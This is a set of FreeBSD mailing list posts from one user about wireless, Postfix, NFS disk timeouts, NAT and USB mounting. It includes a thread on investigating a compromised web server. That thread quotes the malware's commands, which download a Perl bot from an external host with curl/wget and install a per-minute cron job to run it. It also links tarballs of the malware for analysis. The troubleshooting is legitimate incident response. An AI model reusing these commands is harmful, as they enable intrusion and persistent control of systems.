Re: can't bring ath0 up
Leslie Jensen wrote: If it's a wireless you need to set wlan0 as described in the handbook. This is new from version 8. The handbook hasn't been updated yet, but the man page for ath has all the details: http://www.freebsd.org/cgi/man.cgi?query=ath These commands work for me: ifconfig wlan0 create wlandev ath0 wlanmode hostap ifconfig wlan0 inet 192.168.0.1 mode 11g channel 2 ssid freebsdap - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://old.nabble.com/can%27t-bring-ath0-up-tp27734134p27802878.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
can't bring ath0 up
Hi all, I have just upgrade my FreeBSD server from 7 to 8. Everything seems to be working OK, except the Atheros-based wireless network card, which I had configured as an access point and which worked fine under 7 for several years. The command: # ifconfig ath0 up works fine, but anything else returns an error message. For example: # ifconfig ath0 192.168.3.1 ifconfig: ioctl (SIOCAIFADDR): Invalid argument or this, copied pasted directly from the FreeBSD Handbook: # ifconfig ath0 ssid freebsdap mode 11g mediaopt hostap inet 192.168.0.1 netmask 255.255.255.0 ifconfig: SIOCS80211: Invalid argument Any ideas on what is going on here? - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://old.nabble.com/can%27t-bring-ath0-up-tp27734134p27734134.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
postfix + cyrus sasl: no go
Hi all, I have compiled postfix with the SASL2 option. After creating the saslpass file, I added the appropriate lines to main.cf: smtp_sasl_auth_enable = yes smtp_sasl_password_maps = hash:/usr/local/etc/postfix/saslpass smtp_sasl_security_options = and restarted postfix. However, when I try to send an email, I see these lines in maillog: Sep 19 15:07:19 venus postfix/smtp[75188]: warning: unsupported SASL client implementation: cyrus Sep 19 15:07:19 venus postfix/smtp[75188]: fatal: SASL library initialization Also, postconf -A doesn't return anything. FWIW, postconf -a returns dovecot. Any ideas what is going wrong here? versions: postfix-2.6.5,1 cyrus-sasl-2.1.23 FreeBSD 7.0 - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/postfix-%2B-cyrus-sasl%3A-no-go-tp25521649p25521649.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: postfix + cyrus sasl: no go
Jerry-107 wrote: 2) Post the contents of: /usr/local/lib/sasl2/smtpd.conf Jerry, this file doesn't exist on my system. - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/postfix-%2B-cyrus-sasl%3A-no-go-tp25521649p25523570.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Colin Brace wrote: ah, another directory found in /tmp with files written by www called .bash/ Contents here: http://silenceisdefeat.com/~cbrace/www_badstuff-3.gz Apropos of the contents of the above, a correspondent writes: [...] running 'strings' on /tmp/owned will show HISTFILE=/dev/null cd /tmp;curl -s -O http://www.tirnaveni.org/tmpfile 21 /dev/null cd /tmp;wget -b http://www.tirnaveni.org/tmpfile 21 /dev/null echo '*/1 * * * * perl /tmp/tmpfile' cron.job crontab cron.job rm -rf cron.job chmod 0100 /tmp/tmpfile 21 /dev/null perl /tmp/tmpfile 21 /dev/null [...] So this would be the original mischief-maker. Just out of curiousity, can someone explain to me in basic terms how an intruder exploits a vulnerability such as apparently existed on my system (the RoundCube webmail package was apparently the culprit) to place the binary file owned in /tmp and execute it? Thanks - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25167487.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Steve Bertrand said the following on 08/26/2009 01:33 AM: In this case, OP, look for: - directories named as such: -- ... -- . .. -- . . -- etc, particularly under: -- /var/tmp -- /tmp -- or anywhere else the [gu]id of the webserver could possibly write to Thanks for the comments, Steve. This has indeed been the case here: there was a bunch of files installed by user 'www' (the webserver) in a directory called ., in /tmp ; the script itself was in /tmp Someone has suggested to me that the vulnerability might have been in the RoundCube webmail package which I had installed: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0413 Cross-site scripting (XSS) vulnerability in RoundCube Webmail (roundcubemail) 0.2 stable allows remote attackers to inject arbitrary web script or HTML via the background attribute embedded in an HTML e-mail message. -- Colin Brace Amsterdam http://www.lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Colin Brace wrote: CyberLeo Kitsana wrote: Are these files available in a tarball someplace public, for those of us who enjoy performing autopsies on virii? Sure thing: http://silenceisdefeat.com/~cbrace/www_badstuff.gz this tarball contains tmpfile which is the misbehaving script as well as the contents of a directory called ., which has a bunch of source code and so on. As indicated earlier, this stuff was installed by user 'www'. It should be unpacked in an empty directory. Oops, I missed six more files written by www to /tmp. Here they are: http://silenceisdefeat.com/~cbrace/www_badstuff-2.gz - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25149271.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Colin Brace wrote: CyberLeo Kitsana wrote: Are these files available in a tarball someplace public, for those of us who enjoy performing autopsies on virii? ah, another directory found in /tmp with files written by www called .bash/ Contents here: http://silenceisdefeat.com/~cbrace/www_badstuff-3.gz Sorry about the multiple tarballs. - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25149559.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Ok, here is what lsof tells me: $ sudo lsof | grep perl perl5.8.9 4272 www cwd VDIR 0,76512 2 / perl5.8.9 4272 www rtd VDIR 0,76512 2 / perl5.8.9 4272 www txt VREG 0,82 4428 3015044 /usr/local/bin/perl perl5.8.9 4272 www txt VREG 0,76 171192 49360 /libexec/ld-elf.so.1 perl5.8.9 4272 www txt VREG 0,821229218 95150 /usr/local/lib/perl5/5.8.9/mach/CORE/libperl.so perl5.8.9 4272 www txt VREG 0,76 92140 16 /lib/libm.so.5 perl5.8.9 4272 www txt VREG 0,76 31928 14 /lib/libcrypt.so.4 perl5.8.9 4272 www txt VREG 0,76 50496 74 /lib/libutil.so.7 perl5.8.9 4272 www txt VREG 0,761026604 13 /lib/libc.so.7 perl5.8.9 4272 www txt VREG 0,82 17427 94753 /usr/local/lib/perl5/5.8.9/mach/auto/IO/IO.so perl5.8.9 4272 www txt VREG 0,82 24006 94951 /usr/local/lib/perl5/5.8.9/mach/auto/Socket/Socket.so perl5.8.9 4272 www0uPIPE 0xc33c4ad4 16384 -0xc33c4b8c perl5.8.9 4272 www1uPIPE 0xc2fd2874 0 -0xc2fd27bc perl5.8.9 4272 www2uPIPE 0xc2fd2874 0 -0xc2fd27bc perl5.8.9 4272 www3uIPv4 0xc33cf0000t0 TCP gw:51295-94.102.51.57:afs3-fileserver (ESTABLISHED) The last line would be appear to telling me something, but what? After 24 hour since rebooting, this perl instance is still crunching away... - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25130058.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Mike Bristow wrote: On Tue, Aug 25, 2009 at 01:00:53AM -0700, Colin Brace wrote: Ok, here is what lsof tells me: $ sudo lsof | grep perl perl5.8.9 4272 www3uIPv4 0xc33cf0000t0 TCP gw:51295-94.102.51.57:afs3-fileserver (ESTABLISHED) The last line would be appear to telling me something, but what? The script is talking to 94.102.51.57 on port 7000. Other useful things: ps ajx will tell you the parent process of the script: this looks like it may be a (fast?)CGI script; if so then the parent would be the web server. It may also show the name of the script (but beware: the script can change that) which would be usefull to know. After 24 hour since rebooting, this perl instance is still crunching away... Is it the same instance of the script, or a new copy each time? That is, does the PID change? If so, that points to a CGI; if not it points to a fastCGI - or something else. I have disabled both CGI and fastCGI in lighttpd.conf, restart the webserver, but the script keeps popping up. Now I notice something interesting: $ ps aux | grep www www 116 100.0 0.7 5864 3588 ?? R11:53AM 8:10.33 /usr/bin/web/httpd (perl5.8.9) www 113 0.0 0.0 0 0 ?? Z11:53AM 0:00.18 defunct This file doesn't exist on my system. Am I correct in assuming that my system has been hacked and I am running an IRC server or something? Thanks. - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25131646.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Olivier Nicole wrote: Am I correct in assuming that my system has been hacked and I am running an IRC server or something? IRC client at least. And yes, I would think that your system has been compromised. Thanks Olivier. I am currently killing the process with the following bash command while I decide what to do next: $ while x=1 ; do sudo killall -9 perl5.8.9 echo killed... ; sleep 15; done I suppose this calls for a bare-metal reinstall. Is it worth first trying to determine how my system was broken into? - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25132123.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Bill Moran wrote: You can add an ipfw rule to prevent the script from calling home, which will effectively render it neutered until you can track down and actually _fix_ the problem. In reality, good security practice says that you should have IPFW (or some other firewall) running and only allowing known good traffic right from the start, which might have protected you from this in the first place. Bill, I am surprised you would think I have no firewall. As long as I have had the server (2 years), I have had PF installed and running, and I can tell you exactly which incoming ports I have open to the net: tcp_services = { ssh smtp www https 4661 4662 52550 } the last three are for edonkey and bittorrent, resp. c'est tout. There are no *obvious* weaknesses, ie, ssh is private-key only. That being said, I leave the WiFi open to everyone, with the following ports available: wifi_tcp_services = { ftp ssh bootps whois domain www imap imaps ntp irc https sunrpc dict nfs 2628 3689 4711 6667 6909 23398} Should I entertain the possiblity that someone parked their car near my house and hacked in through one of the above ports? Any suggestions as to where to start looking for the breach would be most welcome; I am quite new to this game. Thanks. - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25134056.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Bill, one more thing: Bill Moran wrote: You can add an ipfw rule to prevent the script from calling home, which will effectively render it neutered until you can track down and actually _fix_ the problem. Mike Bristow above wrote: The script is talking to 94.102.51.57 on port 7000. OK, so I how do I know what port the script is using for outgoing traffic on MY box? 7000 is the remote host port, right? FWIW, here are my core PF lines: pass out quick on $ext_if proto 41 pass out quick on gif0 inet6 pass in quick on gif0 inet6 proto icmp6 block in log That is to say: nothing is allowed in unless explicitly allowed Everything allowed out. (plus some ipv6 stuff I was testing with a tunnel) Merci - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25134277.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Ruben de Groot wrote: Which is exactly what the rogue perl script was using to connect to it's home. Once established this connection could have been used for allmost anything, including downloading other malicious software or setting up a tunnel into your LAN. Well, the box (also) serves as my DSL gateway, as I indicated above. How would I be able to use various desktop programs like Skype which dynamically set up their own outgoing ports? However, I am perfectly willing to entertain the idea that using a (web)server as a router is a Bad Idea. However, when I set it up, it just seemed more convenient and flexible. - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25135684.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Ruben de Groot wrote: Try a find through the entire filesystem for files owned by this user that you can't account for. Also check your cron and at files under /var/cron and /var/at I found the cronjob which keeps restarting the script: [r...@venus /var/cron/tabs]# ls -l total 12 -rw--- 1 root wheel 3440 Aug 25 12:06 colin -rw--- 1 root wheel 240 Jul 28 23:49 www [r...@venus /var/cron/tabs]# cat www # DO NOT EDIT THIS FILE - edit the master and reinstall. # (cron.job installed on Tue Jul 28 23:49:28 2009) # (Cron version -- $FreeBSD: src/usr.sbin/cron/crontab/crontab.c,v 1.24 2006/09/03 17:52:19 ru Exp $) */1 * * * * perl /tmp/tmpfile I removed it, so now at least the script stops relaunching. /tmp/tmpfile is of course the script. In a subdirectory of tmp, there is a whole bunch of source code, all owned by 'www': /tmp/.,]# ls -l total 5692 -rw-r--r-- 1 www wheel 2844160 Mar 27 10:00 m.tgz drwxr-xr-x 4 www wheel 512 Nov 10 2008 ml -rw-r--r-- 1 www wheel43419 May 27 23:22 scanxml.txt ]# ls -l ml total 3208 -rwxr-xr-x 1 www wheel 411 Mar 27 09:57 1.user -rwxr-xr-x 1 www wheel 422 Mar 27 09:57 2.user -rwxr-xr-x 1 www wheel 505767 Aug 3 2008 LinkEvents -rwxr-xr-x 1 www wheel2154 May 16 2003 Makefile -rwx--x--x 1 www wheel 418490 Dec 3 2005 bsd -rwxr-xr-x 1 www wheel 941 Dec 3 2005 checkmech -rwxr-xr-x 1 www wheel 23237 May 16 2003 configure -rwx--x--x 1 www wheel 397274 Dec 3 2005 crond -rwxr-xr-x 1 www wheel 22882 May 16 2003 m.h -rwxr-xr-x 1 www wheel1054 Aug 3 2008 m.lev -rwx--x--x 1 www wheel 6 May 25 2008 m.pid -rwxr-xr-x 1 www wheel1320 Mar 27 09:56 m.set -rwxr-xr-x 1 www wheel 10240 Nov 10 2008 m.tgz -rwxr-xr-x 1 www wheel 167964 Mar 16 2001 pico drwxr-xr-x 2 www wheel 512 Mar 4 2005 r drwxr-xr-x 2 www wheel1024 Dec 3 2005 src If anyone is interested in looking at this stuff, or wants more info, please let me know. - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25135959.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
CyberLeo Kitsana wrote: Are these files available in a tarball someplace public, for those of us who enjoy performing autopsies on virii? Sure thing: http://silenceisdefeat.com/~cbrace/www_badstuff.gz this tarball contains tmpfile which is the misbehaving script as well as the contents of a directory called ., which has a bunch of source code and so on. As indicated earlier, this stuff was installed by user 'www'. It should be unpacked in an empty directory. Have fun! - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25143778.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
what www perl script is running?
Hi all, I noticed this morning that a perl script was using a lot of CPU time on my FreeBSD webserver. By the time I killed it, it had run up 400 mins of system time according to top. However, simply killing 'perl5.8.9' didn't accomplish much, it was back running again moments later. I then rebooted. Once again it is running. According to top, the owner of the process is 'www', which would be lighttpd. So, it appears that lightthp is persistently spawning a perl script.But which one? I don't use perl much, but I do have it enabled in lighttp: [...] ) server.modules = ( mod_access, mod_simple_vhost, mod_accesslog, mod_cgi, mod_rewrite, mod_auth, mod_fastcgi, mod_redirect ) static-file.exclude-extensions = ( .fcgi, .php, .rb, ~, .inc ) cgi.assign = ( .pl = /usr/bin/perl, .cgi = /usr/local/bin/python, .py = /usr/local/bin/python, .sh = /usr/local/bin/bash ) [...] Is there a command like fuser or lsof which can be used to determine what files this perl instance is using? Any other ideas on how to figure out what is going on here? Thanks. uname: FreeBSD 7.0-STABLE i386 -- Colin Brace Amsterdam http://www.lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
kernel errors: TIMEOUT - READ_DMA
Hi all, I have an older P4 running FreeBSD 7.0 which I use as a web/file server, WAP, and ADSL gateway. The OS and /usr partition are on 30 GB Seagate Barracuda IDE drive, ad0. In addition, I have added two 500 GB IDE drives which I scavenged from a pair of La Cie external USB enclosures. The one is a Hitachi, ad2, and the other a Maxtor, ad3. I use this for storing a large collection of MP3s and for backing up the home partitions of several Linux clients on my network. I customarily share ad2 via NFS with my Linux clients. Here is where my problem begins: After mounting the NFS share, the Linux client eventually (24-48 hours) runs into to trouble; the share is no longer visible, and this tends to wreak havoc with Gnome. Looking in dmesg on the client, I see this: nfs: server venus not responding, timed out Looking in /var/log/messages on the FreeBSD server, I see the following (here is a week's worth): Jan 8 03:01:10 venus kernel: ad2: TIMEOUT - READ_DMA retrying (1 retry left) LBA=287 Jan 8 03:06:06 venus kernel: ad3: TIMEOUT - READ_DMA retrying (1 retry left) LBA=287 Jan 9 03:01:09 venus kernel: ad2: TIMEOUT - READ_DMA retrying (1 retry left) LBA=287 Jan 9 03:06:13 venus kernel: ad3: TIMEOUT - READ_DMA retrying (1 retry left) LBA=287 Jan 10 03:01:10 venus kernel: ad2: TIMEOUT - READ_DMA retrying (1 retry left) LBA=70508479 Jan 10 03:06:07 venus kernel: ad3: TIMEOUT - READ_DMA retrying (1 retry left) LBA=287 Jan 10 04:02:35 venus kernel: ad2: TIMEOUT - READ_DMA retrying (1 retry left) LBA=287 Jan 10 19:26:07 venus kernel: ad2: TIMEOUT - READ_DMA retrying (1 retry left) LBA=49302399 Jan 11 03:01:10 venus kernel: ad2: TIMEOUT - READ_DMA retrying (1 retry left) LBA=58711199 Jan 11 03:06:14 venus kernel: ad3: TIMEOUT - READ_DMA retrying (1 retry left) LBA=287 Jan 11 04:02:27 venus kernel: ad2: TIMEOUT - READ_DMA retrying (1 retry left) LBA=287 Jan 12 03:01:10 venus kernel: ad2: TIMEOUT - READ_DMA retrying (1 retry left) LBA=287 Jan 12 03:06:13 venus kernel: ad3: TIMEOUT - READ_DMA retrying (1 retry left) LBA=287 Jan 13 03:01:10 venus kernel: ad2: TIMEOUT - READ_DMA retrying (1 retry left) LBA=12159 Jan 13 03:06:14 venus kernel: ad3: TIMEOUT - READ_DMA retrying (1 retry left) LBA=287 Jan 14 03:01:10 venus kernel: ad2: TIMEOUT - READ_DMA retrying (1 retry left) LBA=287 Jan 14 03:06:14 venus kernel: ad3: TIMEOUT - READ_DMA retrying (1 retry left) LBA=287 Any ideas on what is going on here? Note that only the two 500 GB data drives cause these errors; there is never a complaint about the 30 GB system drive. The two data drives are still online, and there is no problem accessing them through the server; it is just NFS which can't handle it. FWIW, I've tried using 'soft' as an option in the NFS fstab entry on the clients to no avail Thanks for any suggestions. - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/kernel-errors%3A-TIMEOUT---READ_DMA-tp21455082p21455082.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
updating a port with problems (libxml2)
Hi all, I use portsnap to keep the port tree of my FreeBSD 7 box up to date. According to portaudit, which I run nightly, there is a problem with the current version of libxml2. So, as usual, I run sudo portsnap fetch sudo portsnap update, and then: $ cd /usr/ports/textproc/libxml2 $ sudo make deinstall $ sudo make reinstall clean But this last command results in an error: === libxml2-2.6.32 has known vulnerabilities: = libxml2 -- two vulnerabilities. Reference: http://www.FreeBSD.org/ports/portaudit/d71da236-9a94-11dd-8f42-001c2514716c.html = Please update your ports tree and try again. It would appear that the port has not yet been updated. Is this some temporary glitch? Otherwise, the approach I use is not very robust, since I have now managed to deinstall a library upon which a dozen or so programs depend. However, this is the first time this has happened. Comments, suggestions most welcome. Thanks. - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/updating-a-port-with-problems-%28libxml2%29-tp20028504p20028504.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: gateway NAT settings lost
Mel-15 wrote: The obvious a file in /, possibly a core dump. The less obvious, an open but deleted file. Even less obvious, a file in /tmp created in single user mode, without /tmp mounted. My money is on option 2: fstat -f / |sort -rnk 8|head OK, here is what that returns: $ sudo fstat -f / |sort -rnk 8|head root init 1 text / 16492 -r-xr-xr-x 599320 r root devd 618 text / 16467 -r-xr-xr-x 334060 r root dhclient1192 text / 16469 -r-xr-xr-x 74172 r _dhcpdhclient1231 text / 16469 -r-xr-xr-x 74172 r root fstat 787685 / 49687 -rw--- 40960 r root pflogd 478 text / 16527 -r-xr-xr-x 18716 r _pflogd pflogd 481 text / 16527 -r-xr-xr-x 18716 r root adjkerntz136 text / 16457 -r-xr-xr-x7244 r www php-cgi69281 root / 2 drwxr-xr-x 512 r www php-cgi 1122 root / 2 drwxr-xr-x 512 r Do you see anything that looks unusual? I also ran: $ sudo find / -iname *.core and it turned up a few .core files, but nothing in the root tree. At this point, I am thinking I might as well move the OS to an drive with bigger partitions. There is a tutorial here http://www.tutorialhero.com/click-42879-moving_freebsd_to_a_new_hard_drive.php which explains how to do this using dump and restore. Just curious: why is this preferable to using plain old cp? - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/gateway-NAT-settings-lost-tp19685563p19701345.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
gateway NAT settings lost
Hi all, I recently ran out of diskspace on the root partition of my FreeBSD 7 box, which serves as a home server/gateway. As a result, when I went to edit my rc.conf file with nano earlier this moth, it couldn't save the changes and the file was written zero-length. Alas, my nightly backup subsequently archived this, and I've now lost the original. I only realized this when I needed to reboot last night. I have now been trying to rebuild my rc.conf settings from scratch. Most things work again now, except I still can't access the web from my LAN clients. 1.) I can get a dhcp lease from the server. 2.) DNS works, ie, $ dig cern.ch returns a DNS record 3.) but $ lynx cern.ch doesn't work. Here is my rc.conf now: check_quotas=NO cron_enable=YES hostname=venus inetd_enable=NO linux_enable=YES moused_enable=YES sshd_enable=YES usbd_enable=YES lighttpd_enable=YES postfix_enable=YES sendmail_enable=NO sendmail_submit_enable=NO sendmail_outbound_enable=NO sendmail_msp_queue_enable=NO dovecot_enable=YES rpcbind_enable=YES nfs_server_enable=YES mountd_flags=-r # WLAN interface ifconfig_fxp0=DHCP # LAN interface ifconfig_rl0=inet 192.168.1.1 netmask 255.255.255.0 # WIFI interface ifconfig_ath0= smartd_enable=YES pf_enable=YES pflog_enable=YES dhcpd_enable=YES /usr/local/sbin/dnrd -s 208.67.222.222 postgresql_enable=YES obspamd_enable=YES obspamdlog_enable=YES dovecot_enable=YES rsyncd_enable=YES rtadvd_enable=YES I am using PF for NAT, and have the following rule: [...] ext_if = fxp0 [...] nat on $ext_if from !($ext_if) to any - ($ext_if) [...] I must be missing something obvious, but what? TIA -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: gateway NAT settings lost
Thanks Mel, gateway_enable was what I was missing. I usually use sudo for eding system files, but in this particular instant I was lazy and had set the permissions so I could edit rc.conf without it. :( As I mentioned, I got into this fix because my root partition is full. This is how my 30G drive is partitioned: $df -h /dev/ad0s1a496M493M-37M 108%/ devfs 1.0K1.0K 0B 100%/dev /dev/ad0s1e496M3.2M453M 1%/tmp /dev/ad0s1f 24G6.1G 16G28%/usr /dev/ad0s1d1.4G659M690M49%/var fdescfs1.0K1.0K 0B 100%/dev/fd But for the life of me, I can't figure out what is taking up all the space on root. See: $ sudo du -hs boot cdrom home lib libexec rescue sbin bin compat dist etc lib proc root 91Mboot 2.0Kcdrom 0Bhome 5.4Mlib 170Klibexec 3.6Mrescue 5.0Msbin 986Kbin 0Bcompat 2.0Kdist 2.1Metc 5.4Mlib 2.0Kproc 52Kroot For totals: $ sudo du -hc -depth=1 boot cdrom home lib libexec rescue sbin bin compat dist etc lib proc root 91Mboot 2.0Kcdrom 0Bhome 5.4Mlib 170Klibexec 3.6Mrescue 5.0Msbin 986Kbin 0Bcompat 2.0Kdist 2.1Metc 5.4Mlib 2.0Kproc 52Kroot 114Mtotal It looks as though there is 375MB hidden somewhere... but where? -- Colin Brace Amsterdam http://www.lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
ext3 to ufs: filename character encoding woes
Hi all, Using rsync, I copied a collection of MP3s from an ext3 partition on my Linux F9 box to a UFS partition my FreeBSD 7 box. Many of the song titles had accented characters, which are now displayed as two question marks (??) on my FreeBSD system, like this: Toquinho Vinícius - Samba da Benção.mp3 -- Toquinho Vin??cius - Samba da Beno.mp3 Thinking that rsync might be interfering in some way, I checked the man page and found this option to use: -8, --8-bit-output leave high-bit chars unescaped in output but it makes no difference. I then tried copying a file with scp and then just cp across an NFS share. In every case, the accents get hosed. My Linux box is configured for UTF-8: $ cat /etc/sysconfig/i18n LANG=en_US.UTF-8 I would have assumed that this would also be the default setting for FreeBSD, but this appears not to be the case. Googling, I came up with instructions for editing /etc/login.conf, so I added :charset=en_US.UTF-8: under default:\ exited the shell and logged in again, but no change. What I am missing here? Thanks. - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/ext3-to-ufs%3A-filename-character-encoding-woes-tp19009703p19009703.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
error mounting USB disk: Invalid argument
Hi all, I am having difficulties mounting a USB drive under 7.0-STABLE. Running sysinstall, I can create a partition and format it. But sysinstall is unable to mount it: Error mounting /dev/da0s1d on /media/disk6 : Invalid argument The same error ocurrs when I try to mount it manually on the command line. I have tried various mount points, to no avail. Anyone have any ideas what is going wrong? Thanks. -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: error mounting USB disk: Invalid argument
On Sat, 31 May 2008 09:29:55 +0200, Roland Smith [EMAIL PROTECTED] wrote: Can you show us what is shown in the dmesg output when you plug this drive in, which devices are then created and the exact command that you used to mount it? dmesg: [...] umass0: on uhub1 da0 at umass-sim0 bus 0 target 0 lun 0 da0: Fixed Direct Access SCSI-2 device da0: 1.000MB/s transfers da0: 194481MB (398297088 512 byte sectors: 255H 63S/T 24792C) These nodes are created: # ls -1 /dev/da* /dev/da0 /dev/da0s1 /dev/da0s1c Then: # mount /dev/da0s1c /media/disk6 mount: /dev/da0s1c : Invalid argument # mount -t ufs /dev/da0s1c /media/disk6 mount: /dev/da0s1c : Invalid argument Thanks. -- Colin Brace Amsterdam http://lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: error mounting USB disk: Invalid argument
